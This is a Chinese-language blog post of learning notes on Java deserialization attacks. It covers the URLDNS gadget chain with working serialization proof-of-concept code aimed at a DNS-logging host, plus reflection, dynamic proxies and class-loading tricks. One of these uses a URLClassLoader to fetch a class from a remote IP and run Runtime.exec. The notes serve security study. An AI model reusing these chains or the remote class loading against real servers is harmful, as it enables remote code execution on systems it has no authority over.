Java反序列化漏洞笔记

news2025/1/20 3:49:16

前言

作为Java安全方面的盲对Java反序列化各种链方面了解的并不多,但是这些链条又极为重要,有助于更好的理解各种漏洞的产出和原理,因此以下笔记开始从底慢慢学起。

为什么会产生安全问题?

服务器反序列化数据时,客户端传递类的readObject代码会自动执行,给予攻击者在服务器上运行代码的能力

可能的形式

  1. 入口类readObject直接调用危险方法。
  2. 入口类参数包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又有其它危险方法的类,readObject时调用。

满足条件

要实现一个反序列化的攻击,要满足的条件如下:

  1. 共同条件,继承Serizlizable。
  2. 入口类source,重写了readObject方法,类中调用了常见的一些函数,且函数的参数类型是宽泛的,最好是jdk本身自带的。
  3. 调用链,不停的调用相同的类型。
  4. 执行类sink:即需要有最终执行代码的代码的点

简单链分析(URLDNS)

首先介绍一下比较简单又比较符合上文的常见函数HashMap,HashMap最早出现在JDK1.2中,它的参数类型宽泛,几乎能够放入所有的参数类型,同时重写了readObject方法,至于为什么需要重写readObject类,可以大致看一下源码。

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }


前面是对一些数据的规范化,应该是确保HashMap里面的数据一致性,后面才是关键,通过for循环,读取出了键值对,然后将键进行了Hash计算又重新放了回去,应该是为了保证Key的Hash唯一性,通过hash方法计算需要执行hashCode()方法,所以HashMap是很符合以上条件的。

其次我们来看一下URL类的,URL类中是存在hashCode()方法的,当HashCode的值不等于-1,就会调用URLStreamHandler方法中的hashCode()方法。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }


跳到URLStreamHandler方法中的hashCode()方法中,

    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }


函数中获取了协议类型,通过getHostAddress()获取ip地址,因此这里为触发DNS查询,再分别通过hashCode方法进行了hash计算,返回值后通过putVal()方法放入HashMap中。

所以当我们将URL类放入到HashMap中时,因为要计算hash,会触发hashCode()方法,HashCode方法中会调用gethostAddress触发dns查询,就能形成一条简单的利用链。HashMap.readObject()->HashMap.putVal()-> HashMap.hash()->URL.hashCode()。不过这里需要注意HashMap在put的时候,会调用hashCode()方法使得hashCode被缓存即hashCode不为-1,必定会触发一次dns查询,这样就无法判断最终是否是反序列化导致的dns查询,因此这里需要在第一次put的时候通过反射机制将hashCode赋值为不等于-1,在put之后又让hashCode变回-1,确定dns查询是反序列化导致的。

关于反射机制:Java反射技术是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数的一种机制。通过反射,可以在运行时获取类的成员变量、方法、构造函数等信息,并且可以在运行时通过这些信息来调用对象的方法、访问和修改对象的属性。

Java的反射API位于java.lang.reflect包中,主要包括三个核心类:Class、Field和Method。

类名作用
Class类表示一个类或接口,在运行时可以通过它来获取类的构造函数、成员变量、方法等信息
Field类表示一个类的成员变量,可以通过它来读取和修改对象的属性值
Method类表示一个类的方法,可以通过它来调用对象的方法

关于反射的一些简单使用如下:

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        Person person=new Person();
        Class<? extends Person> c=person.getClass(); //Class类可以看成了父类定义,可以通过操作此类对Person类进行操作

        //实例化对象
        Constructor<? extends Person> constructor=c.getConstructor(String.class,int.class);
        Person person1=constructor.newInstance("aiwin",21);
        System.out.println(person1);

        //获取类属性
        Field field=c.getDeclaredField("age"); //用于获取private私有属性
        field.setAccessible(true);
        field.set(person1,22);
        System.out.println(person1);

        //调用类里面的方法
        Method method=c.getMethod("changeAge",int.class);
        method.invoke(person1,23); //触发方法
        System.out.println(person1);
    }
}


URLDNS链触发例子:

序列化类:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static  void serialize(Object obj) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
    }

    public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//        Person person=new Person("aiwin",21);
        HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
        URL url=new URL("http://kcovilzouv.dnstunnel.run");
//        hashMap.put(url,1);
//        serialize(person);
        Class<? extends URL> c = url.getClass();
        Field filedhashCode = c.getDeclaredField("hashCode");
        filedhashCode.setAccessible(true); //设置为true可修改私有变量,解除访问修饰符的控制
        filedhashCode.set(url,222); //第一次查询的时候让他不等于-1
        hashMap.put(url,222);
        filedhashCode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashMap);
    }

}


反序列化类:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserizlize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=objectInputStream.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println(unserizlize("ser.bin"));
    }
}


可以发现在序列化的时候确实没触发dns查询,在反序列化的时候触发了dns查询。
file

动态代理

  1. Java动态代理是一种在运行时创建代理类和对象的机制,它可以在不修改源代码的情况下,为目标对象提供额外的功能或逻辑。通过动态代理,可以在方法调用前后做一些通用的处理,如记录日志、性能监测、事务管理等。

  2. Java动态代理基于接口实现,它利用反射机制来实现动态地创建代理类和代理对象。在运行时,代理类会实现与目标类相同的接口,并且将方法的调用委托给目标对象执行。通过动态代理,我们可以在不修改原有代码的情况下,增强目标对象的功能。

  3. Java提供了两种动态代理方式:基于接口的动态代理和基于类的动态代理。

  4. 在基于接口的动态代理中,我们需要定义一个实现InvocationHandler接口的代理类,在代理类中实现invoke()方法,该方法会在调用代理对象的方法时被执行。在invoke()方法中,我们可以进行一些前置和后置处理,并调用目标对象的方法。

  5. 在基于类的动态代理中,我们需要使用CGLib库来生成代理类。CGLib是一个强大的高性能字节码生成库,它通过继承目标类,动态生成代理类,从而实现对目标对象的代理。

  6. 使用动态代理可以在不改变源代码的情况下为目标对象添加通用的功能,提高代码的可维护性和灵活性。它在很多框架和库中被广泛应用,如Spring框架的AOP(面向切面编程)功能

动态代理在反序列化中的作用:readObject在反序列化中是自动执行的,而invoke在动态代理的函数调用中也是自动执行的,在漏洞利用中,如果当两条链没有实际的显式调用,但是使用了动态代理,可以通过动态代理进行隐式调用拼接两条链,不管前面执行任何方法,最后都会走到invoke()方法中。

动态代理简单例子:

Iuser接口:

package 动态代理;

public interface IUser {
    void show();
}

Iuser实现类:

package 动态代理;

public class UserImpl implements IUser{
    public UserImpl(){

    }
    @Override
    public void show() {
        System.out.println("调用了show方法");
    }

}

userproxy类:

package 动态代理;

public class UserProxy implements IUser {
    private UserImpl user;
    public void setUser(UserImpl user){
        this.user=user;
    }
    @Override
    public void show() {
        user.show();
        System.out.println("代理展示");
    }

}

package 动态代理;

import org.omg.CORBA.portable.InvokeHandler;

import java.lang.reflect.Proxy;

public class main {
    public static void main(String[] args){
        UserImpl user=new UserImpl();
        //静态调用
//        UserProxy userProxy=new UserProxy();
//        userProxy.setUser(user);
//        userProxy.show();
        
        //动态调用,需要的参数为类加载器、接口、触发控制器
        IUser userProxy= (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), new Class<?>[]{IUser.class},new UserInvocationHandler(user));
        userProxy.show();
    }
}


invokeHandler类:

package 动态代理;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser iUser;

    public UserInvocationHandler(){

    }
    public UserInvocationHandler(IUser iUser){
        this.iUser=iUser;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了"+method.getName());
        method.invoke(iUser,args);
        return null;
    }
}

类加载机制

Java类加载机制是指在Java虚拟机(JVM)中将类的字节码加载到内存,并转换为可执行的Java对象的过程,由三部分组成:加载、连接、初始化。

  1. 加载(Loading):加载是指查找字节码文件,并创建一个对应的Class对象的过程。类加载器负责查找类文件,并将其字节码加载到内存中。在加载阶段,JVM需要完成以下动作:

    1. 查找并加载类的二进制数据。这可以通过本地文件系统、网络等途径来实现。
    2. 创建一个代表该类的Class对象,并将其存储在方法区(或称为永久代/元空间)中。
  2. 连接(Linking):连接是指将已加载的类与其他类以及它们所使用的符号引用进行关联的过程。连接分为三个阶段:

    1. 验证(Verification):确保被加载的类的字节码是有效、安全合规的
    2. 准备(Preparation):为类的静态变量分配内存空间,并设置默认初始值
    3. 解析(Resolution):将类、接口、方法等符号引用解析为直接引用,即具体的内存地址
  3. 初始化(Initialization):初始化是指对类的静态变量进行赋值,以及执行静态代码块(static块)的过程。在初始化阶段,JVM会按照顺序执行类的静态语句块和静态变量赋值操作。初始化是类加载过程的最后一步,类的实例化对象和静态方法首次调用都会触发初始化操作。

需要注意就是Java的类加载机制是延迟加载的,需要使用某个类的时才会进行加载,使用的是双亲委派模型机制,双亲委派模型简单来说就是当一个类加载器加载类的请求时,会按照一下步骤去加载:

  1. 检查该类是否已经被加载过,如果是则直接返回已加载的类。
  2. 如果类尚未被加载,那么将加载请求委托给父类加载器去加载。
  3. 如果父类加载器存在,并且父类加载器能够成功加载该类,则返回父类加载器的加载结果。
  4. 如果父类加载器不存在或者父类加载器无法加载该类,那么由当前类加载器加载该类。如果当前类加载器能够成功加载该类,则返回加载结果。
  5. 如果当前类加载器无法加载该类,那么抛出ClassNotFoundException异常。

这样子类的加载机制可以避免重复加载同一个类,确保类的全局唯一性,一般类的加载机制层级关系为:
Object->ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoder

类加载与反序列化

上面也说到,类加载的时候会去加载一个Java对象,并执行代码,因此可以通过动态类的加载方法加载任意的类从而实现一些命令执行的效果,以下是部分例子

  1. 通过URLClassLoader进行任意类的加载,比如使用jar、http、file协议等

编写一个Java的命令执行类,编译成class和jar形式

import java.io.IOException;
public class Test {
    public static void rce(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}


public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("http://120.79.29.170/test/")}); //jar file http协议都可
        String cmd="calc";
        Class<?> c=urlClassLoader.loadClass("Test");
        c.getMethod("rce",String.class).invoke(null,cmd);


  1. ClassLoader.defineClass字节码加载任意私有类
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Method defindClassMethod=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defindClassMethod.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class defineclass= (Class) defindClassMethod.invoke(classLoader,"Test",code,0,code.length);
        defineclass.newInstance();
	}

  1. Unsafe.defineClass字节码加载不能直接生成的public类
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class c = Unsafe.class;
        Field theUafeField=c.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class c2=unsafe.defineClass("Test",code,0,code.length,classLoader,null);
        c2.newInstance();
    }

Unsafe类的构造被私有化的,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,源码中有很多native标签,底层实现代码是C,因此Unsafe类只会被BootstrapClassLoader加载,在调用Unsafe对象时会判断当前加载器是否为空,如果不为空,则为抛出SecurityException异常,这样是为了防止ApplicationCloader去调用Unsafe对象,因此ApplicationCloader要加载UnSafe类需要通过反射获取一个Unsafe对象。

public final class Unsafe {
    private static final Unsafe theUnsafe;
    public static final int INVALID_FIELD_OFFSET = -1;
    public static final int ARRAY_BOOLEAN_BASE_OFFSET;
    public static final int ARRAY_BYTE_BASE_OFFSET;
    public static final int ARRAY_SHORT_BASE_OFFSET;
    public static final int ARRAY_CHAR_BASE_OFFSET;
    public static final int ARRAY_INT_BASE_OFFSET;
    public static final int ARRAY_LONG_BASE_OFFSET;
    public static final int ARRAY_FLOAT_BASE_OFFSET;
    public static final int ARRAY_DOUBLE_BASE_OFFSET;
    public static final int ARRAY_OBJECT_BASE_OFFSET;
    public static final int ARRAY_BOOLEAN_INDEX_SCALE;
    public static final int ARRAY_BYTE_INDEX_SCALE;
    public static final int ARRAY_SHORT_INDEX_SCALE;
    public static final int ARRAY_CHAR_INDEX_SCALE;
    public static final int ARRAY_INT_INDEX_SCALE;
    public static final int ARRAY_LONG_INDEX_SCALE;
    public static final int ARRAY_FLOAT_INDEX_SCALE;
    public static final int ARRAY_DOUBLE_INDEX_SCALE;
    public static final int ARRAY_OBJECT_INDEX_SCALE;
    public static final int ADDRESS_SIZE;

    private static native void registerNatives();

    private Unsafe() {
    }

    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
        if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }

总结

持续学习更新。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884149.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenCV-Python中的图像处理-模板匹配

OpenCV-Python中的图像处理-模板匹配 模板匹配单对象的模板匹配多对象的模板匹配 模板匹配 使用模板匹配可以在一幅图像中查找目标函数&#xff1a; cv2.matchTemplate()&#xff0c; cv2.minMaxLoc()模板匹配是用来在一副大图中搜寻查找模版图像位置的方法。 OpenCV 为我们提…

行业追踪,2023-08-15

自动复盘 2023-08-15 凡所有相&#xff0c;皆是虚妄。若见诸相非相&#xff0c;即见如来。 k 线图是最好的老师&#xff0c;每天持续发布板块的rps排名&#xff0c;追踪板块&#xff0c;板块来开仓&#xff0c;板块去清仓&#xff0c;丢弃自以为是的想法&#xff0c;板块去留让…

3. 爬取自己CSDN博客列表(自动方式)(分页查询)(网站反爬虫策略,需要在代码中添加合适的请求头User-Agent,否则response返回空)

文章目录 步骤打开谷歌浏览器输入网址按F12进入调试界面点击网络&#xff0c;清除历史消息按F5刷新页面找到接口&#xff08;community/home-api/v1/get-business-list&#xff09;接口解读 撰写代码获取博客列表先明确返回信息格式json字段解读 Apipost测试接口编写python代码…

浅谈 EMP-SSL + 代码解读:自监督对比学习的一种极简主义风

论文链接&#xff1a;https://arxiv.org/pdf/2304.03977.pdf 代码&#xff1a;https://github.com/tsb0601/EMP-SSL 其他学习链接&#xff1a;突破自监督学习效率极限&#xff01;马毅、LeCun联合发布EMP-SSL&#xff1a;无需花哨trick&#xff0c;30个epoch即可实现SOTA 主要…

从0到1:通用后台管理系统 Vue3使用wangEditor

那么这一节我们在编辑公司信息的弹窗中使用富文本插件wangEditor官网 Vue3使用wangEditor 安装wangEditor在弹窗中引入wangEditor结构api接口部分editor组件script部分怎么去修改富文本的编辑器&#xff1f; 案例内效果&#xff1a; 安装wangEditor npm install wangeditor/…

【D3.js 01】

D3.js 01 说在前面1 概述2 配置Web环境3 HTML4 SVG5 DOM6 JS7 常用接口8 D3语法基础9 使用D3查询SVG10 使用D3设置SVG中属性11 修改整组属性12 使用D3添加与删除SVG元素13 数据读取 —— CSV数据14 D3.js的数值计算15 比例尺Scale - LinearScale - Band 16 引入坐标轴17 DATA-J…

通过网络和SD卡连接开发板

SD卡 有时候相关代码改动以后想验证能否正常工作&#xff0c;如果编译代码又需要好久&#xff0c;所以可以通过SD卡拷贝到板子里验证&#xff1a; 将SD卡插入读卡器&#xff0c;将读卡器插入ubuntu主机上&#xff0c;将相关带动的代码文件拷贝到SD卡中。假设你的板子已经具备…

LLMs大模型plugin开发实战

一、概述 ChatGPT是通用语言大模型&#xff0c;如果用户想要在与大模型进行交互时能够使用到企业私有的数据&#xff0c;那么可以通过开发plugin&#xff08;插件&#xff09;的方式来实现&#xff0c;另外GPT3.5模型的训练数据是截止到2021年9月&#xff0c;如果想让模型能够…

leetcode228. 汇总区间

题目 给定一个 无重复元素 的 有序 整数数组 nums 。 返回 恰好覆盖数组中所有数字 的 最小有序 区间范围列表 。也就是说&#xff0c;nums 的每个元素都恰好被某个区间范围所覆盖&#xff0c;并且不存在属于某个范围但不属于 nums 的数字 x 。 列表中的每个区间范围 [a,b]…

python矩阵形状和乘法

python矩阵的形状 A np.array([[[1],[2],[3]],[[4],[5],[6]]])AA np.array([[1,2,3],[4,5,6]])print(A) print(A.shape) print(AA) print(AA.shape)python矩阵的乘法 A np.array([[1, 2, 3, 4],[1, 2, 3, 4],[1, 1, 1, 1],[1, 1, 1, 1]]) B np.array([[1],[2],[1],[2]])C …

由主机的IP地址计算主机所在子网的广播地址(子网划分)

子网掩码是一个与IP地址相对应的、长32bit的二进制串&#xff0c;它由一串1和跟随的一串0组成。 其中&#xff0c;1对应于IP地址中的网络号及子网号&#xff0c;而0对应于主机号。计算机只需将IP地址和其对应的子网掩码逐位“与”&#xff08;逻辑AND运算&#xff09;&#xff…

新物联网卡智能管理系统源代码下载

新物联网卡智能管理系统源代码现已开放供大家使用。该系统具有强大的物联网卡管理功能&#xff0c;可以帮助您实现自动化管理&#xff0c;提高效率。 相比其他同类系统&#xff0c;本系统具有更高的灵活性和可定制性&#xff0c;能够满足您的各种需求。 授权机制已删除&#…

【C++11保姆级教程】delete和default关键字

文章目录 前言一、delete关键字1.1 什么是delete关键字&#xff1f;1.2delete关键字的语法和用法1.3delete关键字的作用和优势 二、default关键字2.1 什么是default关键字&#xff1f;2.2default关键字的语法和用法2.3 default关键字的作用和优势 总结 前言 欢迎来到本教程&am…

谁是 “凶手” !

找“凶手” 解题方法&#xff01;&#x1f575;️‍ 近日&#xff0c;日本米花町发生了一起凶杀案&#xff0c;警察通过排查确定杀人凶手必为4个嫌疑犯中的一个。 以下为4个嫌疑犯的供词&#xff1a; A说&#xff1a;不是我。 B说&#xff1a;是C。 C说&#xff1a;是D。 D说&…

Mybatis多表查询与动态SQL的使用

目录 1. Mybatis多表查询 1.1 添加文章表实体类 1.2 文章Interface 1.3 文章.xml 1.4 lombok的toString()有关对象打印的说明 1.5 场景: 一个用户查询多篇文章 2. 复杂情况: 动态SQL的使用 2.1 为什么要使用动态SQL? 2.2 <if>标签 2.3 <trim>标签 2.4 <where&g…

如何在 iOS 上安装并使用 ONLYOFFICE 文档

借助 iOS 版文档应用&#xff0c;您可在移动端设备上访问存储于 ONLYOFFICE 账户中的文件&#xff0c;查看和编辑现有文本文档、电子表格和演示文稿&#xff0c;创建新文档并对其进行整理&#xff0c;以及连接第三方云存储服务。您可与其他门户网站用户协作编辑文档&#xff0c…

【第三阶段】kotlin语言的可空性

1.kotlin语言默认是不可空类型&#xff0c;不能随意给null fun main() {var name:String"kotlin"namenull }执行结果 报错&#xff1a; Null can not be a value of a non-null type String2.声明可空类型 &#xff1f; fun main() {var name:String ?namenull…

语聚AI公测发布,大语言模型时代下新的生产力工具

语聚AI 公测发布 距离语聚AI内测上线已经过去近1个月。 这期间&#xff0c;我们共邀请了近百位资深用户与行业专家加入语聚AI产品体验。通过大家的热情参与积极反馈&#xff0c;我们不断优化并完善了语聚AI的功能与使用体验。 经过研发团队不懈的努力&#xff0c;今天语聚AI终…

[谦实思纪 01]整理自2023雷军年度演讲——《成长》(上篇)武大回忆(梦想与成长)

文章目录 [谦实思纪]整理自2023雷军年度演讲 ——《成长》&#xff08;上篇&#xff09;武大回忆&#xff08;梦想与成长&#xff09;0. 写在前面1. 梦开始的地方1.1 要有梦想&#xff0c;要用目标量化梦想 2. 在两年内修完所有的学分。2.1 别老自己琢磨&#xff0c;找个懂的人…

【C++】STL案例1-评委打分

0.前言 1.系统自动生成的评委评分代码&#xff1a; #include <iostream> using namespace std; #include <deque> #include <vector> #include <algorithm> #include <string>//选手类 class Player { public:Player(string name, float score)…